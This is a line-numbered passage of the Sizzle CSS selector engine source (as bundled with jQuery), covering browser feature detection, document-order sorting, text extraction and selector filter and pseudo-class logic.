elem ) { 999 var name = elem.nodeName.toLowerCase(); 1000 return (name === "input" || name === "button") && elem.type === type; 1001 }; 1002} 1003 1004/** 1005 * Returns a function to use in pseudos for :enabled/:disabled 1006 * @param {Boolean} disabled true for :disabled; false for :enabled 1007 */ 1008function createDisabledPseudo( disabled ) { 1009 1010 // Known :disabled false positives: fieldset[disabled] > legend:nth-of-type(n+2) :can-disable 1011 return function( elem ) { 1012 1013 // Only certain elements can match :enabled or :disabled 1014 // https://html.spec.whatwg.org/multipage/scripting.html#selector-enabled 1015 // https://html.spec.whatwg.org/multipage/scripting.html#selector-disabled 1016 if ( "form" in elem ) { 1017 1018 // Check for inherited disabledness on relevant non-disabled elements: 1019 // * listed form-associated elements in a disabled fieldset 1020 // https://html.spec.whatwg.org/multipage/forms.html#category-listed 1021 // https://html.spec.whatwg.org/multipage/forms.html#concept-fe-disabled 1022 // * option elements in a disabled optgroup 1023 // https://html.spec.whatwg.org/multipage/forms.html#concept-option-disabled 1024 // All such elements have a "form" property. 1025 if ( elem.parentNode && elem.disabled === false ) { 1026 1027 // Option elements defer to a parent optgroup if present 1028 if ( "label" in elem ) { 1029 if ( "label" in elem.parentNode ) { 1030 return elem.parentNode.disabled === disabled; 1031 } else { 1032 return elem.disabled === disabled; 1033 } 1034 } 1035 1036 // Support: IE 6 - 11 1037 // Use the isDisabled shortcut property to check for disabled fieldset ancestors 1038 return elem.isDisabled === disabled || 1039 1040 // Where there is no isDisabled, check manually 1041 /* jshint -W018 */ 1042 elem.isDisabled !== !disabled && 1043 disabledAncestor( elem ) === disabled; 1044 } 1045 1046 return elem.disabled === disabled; 1047 1048 // Try to winnow out elements that can't be disabled before trusting the disabled property. 1049 // Some victims get caught in our net (label, legend, menu, track), but it shouldn't 1050 // even exist on them, let alone have a boolean value. 1051 } else if ( "label" in elem ) { 1052 return elem.disabled === disabled; 1053 } 1054 1055 // Remaining elements are neither :enabled nor :disabled 1056 return false; 1057 }; 1058} 1059 1060/** 1061 * Returns a function to use in pseudos for positionals 1062 * @param {Function} fn 1063 */ 1064function createPositionalPseudo( fn ) { 1065 return markFunction(function( argument ) { 1066 argument = +argument; 1067 return markFunction(function( seed, matches ) { 1068 var j, 1069 matchIndexes = fn( [], seed.length, argument ), 1070 i = matchIndexes.length; 1071 1072 // Match elements found at the specified indexes 1073 while ( i-- ) { 1074 if ( seed[ (j = matchIndexes[i]) ] ) { 1075 seed[j] = !(matches[j] = seed[j]); 1076 } 1077 } 1078 }); 1079 }); 1080} 1081 1082/** 1083 * Checks a node for validity as a Sizzle context 1084 * @param {Element|Object=} context 1085 * @returns {Element|Object|Boolean} The input node if acceptable, otherwise a falsy value 1086 */ 1087function testContext( context ) { 1088 return context && typeof context.getElementsByTagName !== "undefined" && context; 1089} 1090 1091// Expose support vars for convenience 1092support = Sizzle.support = {}; 1093 1094/** 1095 * Detects XML nodes 1096 * @param {Element|Object} elem An element or a document 1097 * @returns {Boolean} True iff elem is a non-HTML XML node 1098 */ 1099isXML = Sizzle.isXML = function( elem ) { 1100 // documentElement is verified for cases where it doesn't yet exist 1101 // (such as loading iframes in IE - #4833) 1102 var documentElement = elem && (elem.ownerDocument || elem).documentElement; 1103 return documentElement ? documentElement.nodeName !== "HTML" : false; 1104}; 1105 1106/** 1107 * Sets document-related variables once based on the current document 1108 * @param {Element|Object} [doc] An element or document object to use to set the document 1109 * @returns {Object} Returns the current document 1110 */ 1111setDocument = Sizzle.setDocument = function( node ) { 1112 var hasCompare, subWindow, 1113 doc = node ? node.ownerDocument || node : preferredDoc; 1114 1115 // Return early if doc is invalid or already selected 1116 if ( doc === document || doc.nodeType !== 9 || !doc.documentElement ) { 1117 return document; 1118 } 1119 1120 // Update global variables 1121 document = doc; 1122 docElem = document.documentElement; 1123 documentIsHTML = !isXML( document ); 1124 1125 // Support: IE 9-11, Edge 1126 // Accessing iframe documents after unload throws "permission denied" errors (jQuery #13936) 1127 if ( preferredDoc !== document && 1128 (subWindow = document.defaultView) && subWindow.top !== subWindow ) { 1129 1130 // Support: IE 11, Edge 1131 if ( subWindow.addEventListener ) { 1132 subWindow.addEventListener( "unload", unloadHandler, false ); 1133 1134 // Support: IE 9 - 10 only 1135 } else if ( subWindow.attachEvent ) { 1136 subWindow.attachEvent( "onunload", unloadHandler ); 1137 } 1138 } 1139 1140 /* Attributes 1141 ---------------------------------------------------------------------- */ 1142 1143 // Support: IE<8 1144 // Verify that getAttribute really returns attributes and not properties 1145 // (excepting IE8 booleans) 1146 support.attributes = assert(function( el ) { 1147 el.className = "i"; 1148 return !el.getAttribute("className"); 1149 }); 1150 1151 /* getElement(s)By* 1152 ---------------------------------------------------------------------- */ 1153 1154 // Check if getElementsByTagName("*") returns only elements 1155 support.getElementsByTagName = assert(function( el ) { 1156 el.appendChild( document.createComment("") ); 1157 return !el.getElementsByTagName("*").length; 1158 }); 1159 1160 // Support: IE<9 1161 support.getElementsByClassName = rnative.test( document.getElementsByClassName ); 1162 1163 // Support: IE<10 1164 // Check if getElementById returns elements by name 1165 // The broken getElementById methods don't pick up programmatically-set names, 1166 // so use a roundabout getElementsByName test 1167 support.getById = assert(function( el ) { 1168 docElem.appendChild( el ).id = expando; 1169 return !document.getElementsByName || !document.getElementsByName( expando ).length; 1170 }); 1171 1172 // ID filter and find 1173 if ( support.getById ) { 1174 Expr.filter["ID"] = function( id ) { 1175 var attrId = id.replace( runescape, funescape ); 1176 return function( elem ) { 1177 return elem.getAttribute("id") === attrId; 1178 }; 1179 }; 1180 Expr.find["ID"] = function( id, context ) { 1181 if ( typeof context.getElementById !== "undefined" && documentIsHTML ) { 1182 var elem = context.getElementById( id ); 1183 return elem ? [ elem ] : []; 1184 } 1185 }; 1186 } else { 1187 Expr.filter["ID"] = function( id ) { 1188 var attrId = id.replace( runescape, funescape ); 1189 return function( elem ) { 1190 var node = typeof elem.getAttributeNode !== "undefined" && 1191 elem.getAttributeNode("id"); 1192 return node && node.value === attrId; 1193 }; 1194 }; 1195 1196 // Support: IE 6 - 7 only 1197 // getElementById is not reliable as a find shortcut 1198 Expr.find["ID"] = function( id, context ) { 1199 if ( typeof context.getElementById !== "undefined" && documentIsHTML ) { 1200 var node, i, elems, 1201 elem = context.getElementById( id ); 1202 1203 if ( elem ) { 1204 1205 // Verify the id attribute 1206 node = elem.getAttributeNode("id"); 1207 if ( node && node.value === id ) { 1208 return [ elem ]; 1209 } 1210 1211 // Fall back on getElementsByName 1212 elems = context.getElementsByName( id ); 1213 i = 0; 1214 while ( (elem = elems[i++]) ) { 1215 node = elem.getAttributeNode("id"); 1216 if ( node && node.value === id ) { 1217 return [ elem ]; 1218 } 1219 } 1220 } 1221 1222 return []; 1223 } 1224 }; 1225 } 1226 1227 // Tag 1228 Expr.find["TAG"] = support.getElementsByTagName ? 1229 function( tag, context ) { 1230 if ( typeof context.getElementsByTagName !== "undefined" ) { 1231 return context.getElementsByTagName( tag ); 1232 1233 // DocumentFragment nodes don't have gEBTN 1234 } else if ( support.qsa ) { 1235 return context.querySelectorAll( tag ); 1236 } 1237 } : 1238 1239 function( tag, context ) { 1240 var elem, 1241 tmp = [], 1242 i = 0, 1243 // By happy coincidence, a (broken) gEBTN appears on DocumentFragment nodes too 1244 results = context.getElementsByTagName( tag ); 1245 1246 // Filter out possible comments 1247 if ( tag === "*" ) { 1248 while ( (elem = results[i++]) ) { 1249 if ( elem.nodeType === 1 ) { 1250 tmp.push( elem ); 1251 } 1252 } 1253 1254 return tmp; 1255 } 1256 return results; 1257 }; 1258 1259 // Class 1260 Expr.find["CLASS"] = support.getElementsByClassName && function( className, context ) { 1261 if ( typeof context.getElementsByClassName !== "undefined" && documentIsHTML ) { 1262 return context.getElementsByClassName( className ); 1263 } 1264 }; 1265 1266 /* QSA/matchesSelector 1267 ---------------------------------------------------------------------- */ 1268 1269 // QSA and matchesSelector support 1270 1271 // matchesSelector(:active) reports false when true (IE9/Opera 11.5) 1272 rbuggyMatches = []; 1273 1274 // qSa(:focus) reports false when true (Chrome 21) 1275 // We allow this because of a bug in IE8/9 that throws an error 1276 // whenever `document.activeElement` is accessed on an iframe 1277 // So, we allow :focus to pass through QSA all the time to avoid the IE error 1278 // See https://bugs.jquery.com/ticket/13378 1279 rbuggyQSA = []; 1280 1281 if ( (support.qsa = rnative.test( document.querySelectorAll )) ) { 1282 // Build QSA regex 1283 // Regex strategy adopted from Diego Perini 1284 assert(function( el ) { 1285 // Select is set to empty string on purpose 1286 // This is to test IE's treatment of not explicitly 1287 // setting a boolean content attribute, 1288 // since its presence should be enough 1289 // https://bugs.jquery.com/ticket/12359 1290 docElem.appendChild( el ).innerHTML = "<a id='" + expando + "'></a>" + 1291 "<select id='" + expando + "-\r\\' msallowcapture=''>" + 1292 "<option selected=''></option></select>"; 1293 1294 // Support: IE8, Opera 11-12.16 1295 // Nothing should be selected when empty strings follow ^= or $= or *= 1296 // The test attribute must be unknown in Opera but "safe" for WinRT 1297 // https://msdn.microsoft.com/en-us/library/ie/hh465388.aspx#attribute_section 1298 if ( el.querySelectorAll("[msallowcapture^='']").length ) { 1299 rbuggyQSA.push( "[*^$]=" + whitespace + "*(?:''|\"\")" ); 1300 } 1301 1302 // Support: IE8 1303 // Boolean attributes and "value" are not treated correctly 1304 if ( !el.querySelectorAll("[selected]").length ) { 1305 rbuggyQSA.push( "\\[" + whitespace + "*(?:value|" + booleans + ")" ); 1306 } 1307 1308 // Support: Chrome<29, Android<4.4, Safari<7.0+, iOS<7.0+, PhantomJS<1.9.8+ 1309 if ( !el.querySelectorAll( "[id~=" + expando + "-]" ).length ) { 1310 rbuggyQSA.push("~="); 1311 } 1312 1313 // Webkit/Opera - :checked should return selected option elements 1314 // http://www.w3.org/TR/2011/REC-css3-selectors-20110929/#checked 1315 // IE8 throws error here and will not see later tests 1316 if ( !el.querySelectorAll(":checked").length ) { 1317 rbuggyQSA.push(":checked"); 1318 } 1319 1320 // Support: Safari 8+, iOS 8+ 1321 // https://bugs.webkit.org/show_bug.cgi?id=136851 1322 // In-page `selector#id sibling-combinator selector` fails 1323 if ( !el.querySelectorAll( "a#" + expando + "+*" ).length ) { 1324 rbuggyQSA.push(".#.+[+~]"); 1325 } 1326 }); 1327 1328 assert(function( el ) { 1329 el.innerHTML = "<a href='' disabled='disabled'></a>" + 1330 "<select disabled='disabled'><option/></select>"; 1331 1332 // Support: Windows 8 Native Apps 1333 // The type and name attributes are restricted during .innerHTML assignment 1334 var input = document.createElement("input"); 1335 input.setAttribute( "type", "hidden" ); 1336 el.appendChild( input ).setAttribute( "name", "D" ); 1337 1338 // Support: IE8 1339 // Enforce case-sensitivity of name attribute 1340 if ( el.querySelectorAll("[name=d]").length ) { 1341 rbuggyQSA.push( "name" + whitespace + "*[*^$|!~]?=" ); 1342 } 1343 1344 // FF 3.5 - :enabled/:disabled and hidden elements (hidden elements are still enabled) 1345 // IE8 throws error here and will not see later tests 1346 if ( el.querySelectorAll(":enabled").length !== 2 ) { 1347 rbuggyQSA.push( ":enabled", ":disabled" ); 1348 } 1349 1350 // Support: IE9-11+ 1351 // IE's :disabled selector does not pick up the children of disabled fieldsets 1352 docElem.appendChild( el ).disabled = true; 1353 if ( el.querySelectorAll(":disabled").length !== 2 ) { 1354 rbuggyQSA.push( ":enabled", ":disabled" ); 1355 } 1356 1357 // Opera 10-11 does not throw on post-comma invalid pseudos 1358 el.querySelectorAll("*,:x"); 1359 rbuggyQSA.push(",.*:"); 1360 }); 1361 } 1362 1363 if ( (support.matchesSelector = rnative.test( (matches = docElem.matches || 1364 docElem.webkitMatchesSelector || 1365 docElem.mozMatchesSelector || 1366 docElem.oMatchesSelector || 1367 docElem.msMatchesSelector) )) ) { 1368 1369 assert(function( el ) { 1370 // Check to see if it's possible to do matchesSelector 1371 // on a disconnected node (IE 9) 1372 support.disconnectedMatch = matches.call( el, "*" ); 1373 1374 // This should fail with an exception 1375 // Gecko does not error, returns false instead 1376 matches.call( el, "[s!='']:x" ); 1377 rbuggyMatches.push( "!=", pseudos ); 1378 }); 1379 } 1380 1381 rbuggyQSA = rbuggyQSA.length && new RegExp( rbuggyQSA.join("|") ); 1382 rbuggyMatches = rbuggyMatches.length && new RegExp( rbuggyMatches.join("|") ); 1383 1384 /* Contains 1385 ---------------------------------------------------------------------- */ 1386 hasCompare = rnative.test( docElem.compareDocumentPosition ); 1387 1388 // Element contains another 1389 // Purposefully self-exclusive 1390 // As in, an element does not contain itself 1391 contains = hasCompare || rnative.test( docElem.contains ) ? 1392 function( a, b ) { 1393 var adown = a.nodeType === 9 ? a.documentElement : a, 1394 bup = b && b.parentNode; 1395 return a === bup || !!( bup && bup.nodeType === 1 && ( 1396 adown.contains ? 1397 adown.contains( bup ) : 1398 a.compareDocumentPosition && a.compareDocumentPosition( bup ) & 16 1399 )); 1400 } : 1401 function( a, b ) { 1402 if ( b ) { 1403 while ( (b = b.parentNode) ) { 1404 if ( b === a ) { 1405 return true; 1406 } 1407 } 1408 } 1409 return false; 1410 }; 1411 1412 /* Sorting 1413 ---------------------------------------------------------------------- */ 1414 1415 // Document order sorting 1416 sortOrder = hasCompare ? 1417 function( a, b ) { 1418 1419 // Flag for duplicate removal 1420 if ( a === b ) { 1421 hasDuplicate = true; 1422 return 0; 1423 } 1424 1425 // Sort on method existence if only one input has compareDocumentPosition 1426 var compare = !a.compareDocumentPosition - !b.compareDocumentPosition; 1427 if ( compare ) { 1428 return compare; 1429 } 1430 1431 // Calculate position if both inputs belong to the same document 1432 compare = ( a.ownerDocument || a ) === ( b.ownerDocument || b ) ? 1433 a.compareDocumentPosition( b ) : 1434 1435 // Otherwise we know they are disconnected 1436 1; 1437 1438 // Disconnected nodes 1439 if ( compare & 1 || 1440 (!support.sortDetached && b.compareDocumentPosition( a ) === compare) ) { 1441 1442 // Choose the first element that is related to our preferred document 1443 if ( a === document || a.ownerDocument === preferredDoc && contains(preferredDoc, a) ) { 1444 return -1; 1445 } 1446 if ( b === document || b.ownerDocument === preferredDoc && contains(preferredDoc, b) ) { 1447 return 1; 1448 } 1449 1450 // Maintain original order 1451 return sortInput ? 1452 ( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) : 1453 0; 1454 } 1455 1456 return compare & 4 ? -1 : 1; 1457 } : 1458 function( a, b ) { 1459 // Exit early if the nodes are identical 1460 if ( a === b ) { 1461 hasDuplicate = true; 1462 return 0; 1463 } 1464 1465 var cur, 1466 i = 0, 1467 aup = a.parentNode, 1468 bup = b.parentNode, 1469 ap = [ a ], 1470 bp = [ b ]; 1471 1472 // Parentless nodes are either documents or disconnected 1473 if ( !aup || !bup ) { 1474 return a === document ? -1 : 1475 b === document ? 1 : 1476 aup ? -1 : 1477 bup ? 1 : 1478 sortInput ? 1479 ( indexOf( sortInput, a ) - indexOf( sortInput, b ) ) : 1480 0; 1481 1482 // If the nodes are siblings, we can do a quick check 1483 } else if ( aup === bup ) { 1484 return siblingCheck( a, b ); 1485 } 1486 1487 // Otherwise we need full lists of their ancestors for comparison 1488 cur = a; 1489 while ( (cur = cur.parentNode) ) { 1490 ap.unshift( cur ); 1491 } 1492 cur = b; 1493 while ( (cur = cur.parentNode) ) { 1494 bp.unshift( cur ); 1495 } 1496 1497 // Walk down the tree looking for a discrepancy 1498 while ( ap[i] === bp[i] ) { 1499 i++; 1500 } 1501 1502 return i ? 1503 // Do a sibling check if the nodes have a common ancestor 1504 siblingCheck( ap[i], bp[i] ) : 1505 1506 // Otherwise nodes in our document sort first 1507 ap[i] === preferredDoc ? -1 : 1508 bp[i] === preferredDoc ? 1 : 1509 0; 1510 }; 1511 1512 return document; 1513}; 1514 1515Sizzle.matches = function( expr, elements ) { 1516 return Sizzle( expr, null, null, elements ); 1517}; 1518 1519Sizzle.matchesSelector = function( elem, expr ) { 1520 // Set document vars if needed 1521 if ( ( elem.ownerDocument || elem ) !== document ) { 1522 setDocument( elem ); 1523 } 1524 1525 // Make sure that attribute selectors are quoted 1526 expr = expr.replace( rattributeQuotes, "='$1']" ); 1527 1528 if ( support.matchesSelector && documentIsHTML && 1529 !compilerCache[ expr + " " ] && 1530 ( !rbuggyMatches || !rbuggyMatches.test( expr ) ) && 1531 ( !rbuggyQSA || !rbuggyQSA.test( expr ) ) ) { 1532 1533 try { 1534 var ret = matches.call( elem, expr ); 1535 1536 // IE 9's matchesSelector returns false on disconnected nodes 1537 if ( ret || support.disconnectedMatch || 1538 // As well, disconnected nodes are said to be in a document 1539 // fragment in IE 9 1540 elem.document && elem.document.nodeType !== 11 ) { 1541 return ret; 1542 } 1543 } catch (e) {} 1544 } 1545 1546 return Sizzle( expr, document, null, [ elem ] ).length > 0; 1547}; 1548 1549Sizzle.contains = function( context, elem ) { 1550 // Set document vars if needed 1551 if ( ( context.ownerDocument || context ) !== document ) { 1552 setDocument( context ); 1553 } 1554 return contains( context, elem ); 1555}; 1556 1557Sizzle.attr = function( elem, name ) { 1558 // Set document vars if needed 1559 if ( ( elem.ownerDocument || elem ) !== document ) { 1560 setDocument( elem ); 1561 } 1562 1563 var fn = Expr.attrHandle[ name.toLowerCase() ], 1564 // Don't get fooled by Object.prototype properties (jQuery #13807) 1565 val = fn && hasOwn.call( Expr.attrHandle, name.toLowerCase() ) ? 1566 fn( elem, name, !documentIsHTML ) : 1567 undefined; 1568 1569 return val !== undefined ? 1570 val : 1571 support.attributes || !documentIsHTML ? 1572 elem.getAttribute( name ) : 1573 (val = elem.getAttributeNode(name)) && val.specified ? 1574 val.value : 1575 null; 1576}; 1577 1578Sizzle.escape = function( sel ) { 1579 return (sel + "").replace( rcssescape, fcssescape ); 1580}; 1581 1582Sizzle.error = function( msg ) { 1583 throw new Error( "Syntax error, unrecognized expression: " + msg ); 1584}; 1585 1586/** 1587 * Document sorting and removing duplicates 1588 * @param {ArrayLike} results 1589 */ 1590Sizzle.uniqueSort = function( results ) { 1591 var elem, 1592 duplicates = [], 1593 j = 0, 1594 i = 0; 1595 1596 // Unless we *know* we can detect duplicates, assume their presence 1597 hasDuplicate = !support.detectDuplicates; 1598 sortInput = !support.sortStable && results.slice( 0 ); 1599 results.sort( sortOrder ); 1600 1601 if ( hasDuplicate ) { 1602 while ( (elem = results[i++]) ) { 1603 if ( elem === results[ i ] ) { 1604 j = duplicates.push( i ); 1605 } 1606 } 1607 while ( j-- ) { 1608 results.splice( duplicates[ j ], 1 ); 1609 } 1610 } 1611 1612 // Clear input after sorting to release objects 1613 // See https://github.com/jquery/sizzle/pull/225 1614 sortInput = null; 1615 1616 return results; 1617}; 1618 1619/** 1620 * Utility function for retrieving the text value of an array of DOM nodes 1621 * @param {Array|Element} elem 1622 */ 1623getText = Sizzle.getText = function( elem ) { 1624 var node, 1625 ret = "", 1626 i = 0, 1627 nodeType = elem.nodeType; 1628 1629 if ( !nodeType ) { 1630 // If no nodeType, this is expected to be an array 1631 while ( (node = elem[i++]) ) {
vendor: 11,976 bytes, lines 1632-2030
1632 // Do not traverse comment nodes 1633 ret += getText( node ); 1634 } 1635 } else if ( nodeType === 1 || nodeType === 9 || nodeType === 11 ) { 1636 // Use textContent for elements 1637 // innerText usage removed for consistency of new lines (jQuery #11153) 1638 if ( typeof elem.textContent === "string" ) { 1639 return elem.textContent; 1640 } else { 1641 // Traverse its children 1642 for ( elem = elem.firstChild; elem; elem = elem.nextSibling ) { 1643 ret += getText( elem ); 1644 } 1645 } 1646 } else if ( nodeType === 3 || nodeType === 4 ) { 1647 return elem.nodeValue; 1648 } 1649 // Do not include comment or processing instruction nodes 1650 1651 return ret; 1652}; 1653 1654Expr = Sizzle.selectors = { 1655 1656 // Can be adjusted by the user 1657 cacheLength: 50, 1658 1659 createPseudo: markFunction, 1660 1661 match: matchExpr, 1662 1663 attrHandle: {}, 1664 1665 find: {}, 1666 1667 relative: { 1668 ">": { dir: "parentNode", first: true }, 1669 " ": { dir: "parentNode" }, 1670 "+": { dir: "previousSibling", first: true }, 1671 "~": { dir: "previousSibling" } 1672 }, 1673 1674 preFilter: { 1675 "ATTR": function( match ) { 1676 match[1] = match[1].replace( runescape, funescape ); 1677 1678 // Move the given value to match[3] whether quoted or unquoted 1679 match[3] = ( match[3] || match[4] || match[5] || "" ).replace( runescape, funescape ); 1680 1681 if ( match[2] === "~=" ) { 1682 match[3] = " " + match[3] + " "; 1683 } 1684 1685 return match.slice( 0, 4 ); 1686 }, 1687 1688 "CHILD": function( match ) { 1689 /* matches from matchExpr["CHILD"] 1690 1 type (only|nth|...) 1691 2 what (child|of-type) 1692 3 argument (even|odd|\d*|\d*n([+-]\d+)?|...) 1693 4 xn-component of xn+y argument ([+-]?\d*n|) 1694 5 sign of xn-component 1695 6 x of xn-component 1696 7 sign of y-component 1697 8 y of y-component 1698 */ 1699 match[1] = match[1].toLowerCase(); 1700 1701 if ( match[1].slice( 0, 3 ) === "nth" ) { 1702 // nth-* requires argument 1703 if ( !match[3] ) { 1704 Sizzle.error( match[0] ); 1705 } 1706 1707 // numeric x and y parameters for Expr.filter.CHILD 1708 // remember that false/true cast respectively to 0/1 1709 match[4] = +( match[4] ? match[5] + (match[6] || 1) : 2 * ( match[3] === "even" || match[3] === "odd" ) ); 1710 match[5] = +( ( match[7] + match[8] ) || match[3] === "odd" ); 1711 1712 // other types prohibit arguments 1713 } else if ( match[3] ) { 1714 Sizzle.error( match[0] ); 1715 } 1716 1717 return match; 1718 }, 1719 1720 "PSEUDO": function( match ) { 1721 var excess, 1722 unquoted = !match[6] && match[2]; 1723 1724 if ( matchExpr["CHILD"].test( match[0] ) ) { 1725 return null; 1726 } 1727 1728 // Accept quoted arguments as-is 1729 if ( match[3] ) { 1730 match[2] = match[4] || match[5] || ""; 1731 1732 // Strip excess characters from unquoted arguments 1733 } else if ( unquoted && rpseudo.test( unquoted ) && 1734 // Get excess from tokenize (recursively) 1735 (excess = tokenize( unquoted, true )) && 1736 // advance to the next closing parenthesis 1737 (excess = unquoted.indexOf( ")", unquoted.length - excess ) - unquoted.length) ) { 1738 1739 // excess is a negative index 1740 match[0] = match[0].slice( 0, excess ); 1741 match[2] = unquoted.slice( 0, excess ); 1742 } 1743 1744 // Return only captures needed by the pseudo filter method (type and argument) 1745 return match.slice( 0, 3 ); 1746 } 1747 }, 1748 1749 filter: { 1750 1751 "TAG": function( nodeNameSelector ) { 1752 var nodeName = nodeNameSelector.replace( runescape, funescape ).toLowerCase(); 1753 return nodeNameSelector === "*" ? 1754 function() { return true; } : 1755 function( elem ) { 1756 return elem.nodeName && elem.nodeName.toLowerCase() === nodeName; 1757 }; 1758 }, 1759 1760 "CLASS": function( className ) { 1761 var pattern = classCache[ className + " " ]; 1762 1763 return pattern || 1764 (pattern = new RegExp( "(^|" + whitespace + ")" + className + "(" + whitespace + "|$)" )) && 1765 classCache( className, function( elem ) { 1766 return pattern.test( typeof elem.className === "string" && elem.className || typeof elem.getAttribute !== "undefined" && elem.getAttribute("class") || "" ); 1767 }); 1768 }, 1769 1770 "ATTR": function( name, operator, check ) { 1771 return function( elem ) { 1772 var result = Sizzle.attr( elem, name ); 1773 1774 if ( result == null ) { 1775 return operator === "!="; 1776 } 1777 if ( !operator ) { 1778 return true; 1779 } 1780 1781 result += ""; 1782 1783 return operator === "=" ? result === check : 1784 operator === "!=" ? result !== check : 1785 operator === "^=" ? check && result.indexOf( check ) === 0 : 1786 operator === "*=" ? check && result.indexOf( check ) > -1 : 1787 operator === "$=" ? check && result.slice( -check.length ) === check : 1788 operator === "~=" ? ( " " + result.replace( rwhitespace, " " ) + " " ).indexOf( check ) > -1 : 1789 operator === "|=" ? result === check || result.slice( 0, check.length + 1 ) === check + "-" : 1790 false; 1791 }; 1792 }, 1793 1794 "CHILD": function( type, what, argument, first, last ) { 1795 var simple = type.slice( 0, 3 ) !== "nth", 1796 forward = type.slice( -4 ) !== "last", 1797 ofType = what === "of-type"; 1798 1799 return first === 1 && last === 0 ? 1800 1801 // Shortcut for :nth-*(n) 1802 function( elem ) { 1803 return !!elem.parentNode; 1804 } : 1805 1806 function( elem, context, xml ) { 1807 var cache, uniqueCache, outerCache, node, nodeIndex, start, 1808 dir = simple !== forward ? "nextSibling" : "previousSibling", 1809 parent = elem.parentNode, 1810 name = ofType && elem.nodeName.toLowerCase(), 1811 useCache = !xml && !ofType, 1812 diff = false; 1813 1814 if ( parent ) { 1815 1816 // :(first|last|only)-(child|of-type) 1817 if ( simple ) { 1818 while ( dir ) { 1819 node = elem; 1820 while ( (node = node[ dir ]) ) { 1821 if ( ofType ? 1822 node.nodeName.toLowerCase() === name : 1823 node.nodeType === 1 ) { 1824 1825 return false; 1826 } 1827 } 1828 // Reverse direction for :only-* (if we haven't yet done so) 1829 start = dir = type === "only" && !start && "nextSibling"; 1830 } 1831 return true; 1832 } 1833 1834 start = [ forward ? parent.firstChild : parent.lastChild ]; 1835 1836 // non-xml :nth-child(...) stores cache data on `parent` 1837 if ( forward && useCache ) { 1838 1839 // Seek `elem` from a previously-cached index 1840 1841 // ...in a gzip-friendly way 1842 node = parent; 1843 outerCache = node[ expando ] || (node[ expando ] = {}); 1844 1845 // Support: IE <9 only 1846 // Defend against cloned attroperties (jQuery gh-1709) 1847 uniqueCache = outerCache[ node.uniqueID ] || 1848 (outerCache[ node.uniqueID ] = {}); 1849 1850 cache = uniqueCache[ type ] || []; 1851 nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ]; 1852 diff = nodeIndex && cache[ 2 ]; 1853 node = nodeIndex && parent.childNodes[ nodeIndex ]; 1854 1855 while ( (node = ++nodeIndex && node && node[ dir ] || 1856 1857 // Fallback to seeking `elem` from the start 1858 (diff = nodeIndex = 0) || start.pop()) ) { 1859 1860 // When found, cache indexes on `parent` and break 1861 if ( node.nodeType === 1 && ++diff && node === elem ) { 1862 uniqueCache[ type ] = [ dirruns, nodeIndex, diff ]; 1863 break; 1864 } 1865 } 1866 1867 } else { 1868 // Use previously-cached element index if available 1869 if ( useCache ) { 1870 // ...in a gzip-friendly way 1871 node = elem; 1872 outerCache = node[ expando ] || (node[ expando ] = {}); 1873 1874 // Support: IE <9 only 1875 // Defend against cloned attroperties (jQuery gh-1709) 1876 uniqueCache = outerCache[ node.uniqueID ] || 1877 (outerCache[ node.uniqueID ] = {}); 1878 1879 cache = uniqueCache[ type ] || []; 1880 nodeIndex = cache[ 0 ] === dirruns && cache[ 1 ]; 1881 diff = nodeIndex; 1882 } 1883 1884 // xml :nth-child(...) 1885 // or :nth-last-child(...) or :nth(-last)?-of-type(...) 1886 if ( diff === false ) { 1887 // Use the same loop as above to seek `elem` from the start 1888 while ( (node = ++nodeIndex && node && node[ dir ] || 1889 (diff = nodeIndex = 0) || start.pop()) ) { 1890 1891 if ( ( ofType ? 1892 node.nodeName.toLowerCase() === name : 1893 node.nodeType === 1 ) && 1894 ++diff ) { 1895 1896 // Cache the index of each encountered element 1897 if ( useCache ) { 1898 outerCache = node[ expando ] || (node[ expando ] = {}); 1899 1900 // Support: IE <9 only 1901 // Defend against cloned attroperties (jQuery gh-1709) 1902 uniqueCache = outerCache[ node.uniqueID ] || 1903 (outerCache[ node.uniqueID ] = {}); 1904 1905 uniqueCache[ type ] = [ dirruns, diff ]; 1906 } 1907 1908 if ( node === elem ) { 1909 break; 1910 } 1911 } 1912 } 1913 } 1914 } 1915 1916 // Incorporate the offset, then check against cycle size 1917 diff -= last; 1918 return diff === first || ( diff % first === 0 && diff / first >= 0 ); 1919 } 1920 }; 1921 }, 1922 1923 "PSEUDO": function( pseudo, argument ) { 1924 // pseudo-class names are case-insensitive 1925 // http://www.w3.org/TR/selectors/#pseudo-classes 1926 // Prioritize by case sensitivity in case custom pseudos are added with uppercase letters 1927 // Remember that setFilters inherits from pseudos 1928 var args, 1929 fn = Expr.pseudos[ pseudo ] || Expr.setFilters[ pseudo.toLowerCase() ] || 1930 Sizzle.error( "unsupported pseudo: " + pseudo ); 1931 1932 // The user may use createPseudo to indicate that 1933 // arguments are needed to create the filter function 1934 // just as Sizzle does 1935 if ( fn[ expando ] ) { 1936 return fn( argument ); 1937 } 1938 1939 // But maintain support for old signatures 1940 if ( fn.length > 1 ) { 1941 args = [ pseudo, pseudo, "", argument ]; 1942 return Expr.setFilters.hasOwnProperty( pseudo.toLowerCase() ) ? 1943 markFunction(function( seed, matches ) { 1944 var idx, 1945 matched = fn( seed, argument ), 1946 i = matched.length; 1947 while ( i-- ) { 1948 idx = indexOf( seed, matched[i] ); 1949 seed[ idx ] = !( matches[ idx ] = matched[i] ); 1950 } 1951 }) : 1952 function( elem ) { 1953 return fn( elem, 0, args ); 1954 }; 1955 } 1956 1957 return fn; 1958 } 1959 }, 1960 1961 pseudos: { 1962 // Potentially complex pseudos 1963 "not": markFunction(function( selector ) { 1964 // Trim the selector passed to compile 1965 // to avoid treating leading and trailing 1966 // spaces as combinators 1967 var input = [], 1968 results = [], 1969 matcher = compile( selector.replace( rtrim, "$1" ) ); 1970 1971 return matcher[ expando ] ? 1972 markFunction(function( seed, matches, context, xml ) { 1973 var elem, 1974 unmatched = matcher( seed, null, xml, [] ), 1975 i = seed.length; 1976 1977 // Match elements unmatched by `matcher` 1978 while ( i-- ) { 1979 if ( (elem = unmatched[i]) ) { 1980 seed[i] = !(matches[i] = elem); 1981 } 1982 } 1983 }) : 1984 function( elem, context, xml ) { 1985 input[0] = elem; 1986 matcher( input, null, xml, results ); 1987 // Don't keep the element (issue #299) 1988 input[0] = null; 1989 return !results.pop(); 1990 }; 1991 }), 1992 1993 "has": markFunction(function( selector ) { 1994 return function( elem ) { 1995 return Sizzle( selector, elem ).length > 0; 1996 }; 1997 }), 1998 1999 "contains": markFunction(function( text ) { 2000 text = text.replace( runescape, funescape ); 2001 return function( elem ) { 2002 return ( elem.textContent || elem.innerText || getText( elem ) 